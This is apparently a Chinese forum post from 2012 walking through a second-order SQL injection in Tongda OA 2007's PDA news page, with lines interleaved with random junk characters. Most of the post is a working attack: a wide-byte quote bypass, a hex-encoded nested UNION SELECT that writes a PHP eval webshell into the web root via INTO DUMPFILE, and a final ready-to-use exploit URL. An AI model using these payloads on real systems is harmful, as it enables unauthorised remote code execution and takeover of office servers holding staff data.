目前测试通达OA2007版本
* v" w' j" `9 {( D+ l" y6 l" ]7 [$ J3 [+ w
5 A& o% Z4 h+ R3 P
Office Anywhere 2007 网络智能办公系统
( k, Y2 ^% Z3 k' f1 F$ y% }# d
: q& v7 B, M" k8 [: d/ @# Bhttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
; X+ J8 c, |. X; b- }2 C9 [
2 l$ W3 z0 O% B4 o3 e& ~
) i, f: b$ Q9 r) t这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
& o) J4 ?. G" h' r& l
6 e' `4 V2 u: _8 J2 x例如：SELECT * from USER where USER_ID='{$USERNAME}' 0 g% N7 \# l M1 @0 ^
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了: C' z( w1 p, ` z5 i
* [5 J8 { @# e# @( M8 |这个时候我们是不是可以组合起来使用哪？
+ k1 z, _" F2 b0 e) y( o6 W + S+ Z) u3 x- c8 _3 z; H
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样: v4 o: A1 o9 J% h8 C! V
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10+ Z3 }& v4 j u; m2 k
0 |; A/ M# S6 @, a# J v这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
: L7 L, S* N4 h$ Q: g * r8 u G* L" b# l
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
~ Z5 B. h' F5 C ) ]- _" B: v7 m8 \- |3 H
那么我们用字符串格式带入进行hex编码
; w t5 \9 }# t( z
+ x5 d7 v0 Y+ O% q+ x; Y! ?%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23( c. i; q, k5 U- X5 W8 |" t
! i5 V, d. x: Y+ b. k! u, t/ w
测试ok，获取oa的webshell
2 ]( F8 I0 [' v, D) G/ ` ( v. B1 E+ g5 `# e& D) d
# R4 c2 a* A7 v
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
6 V: p2 J; M1 P8 }2 o6 r直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对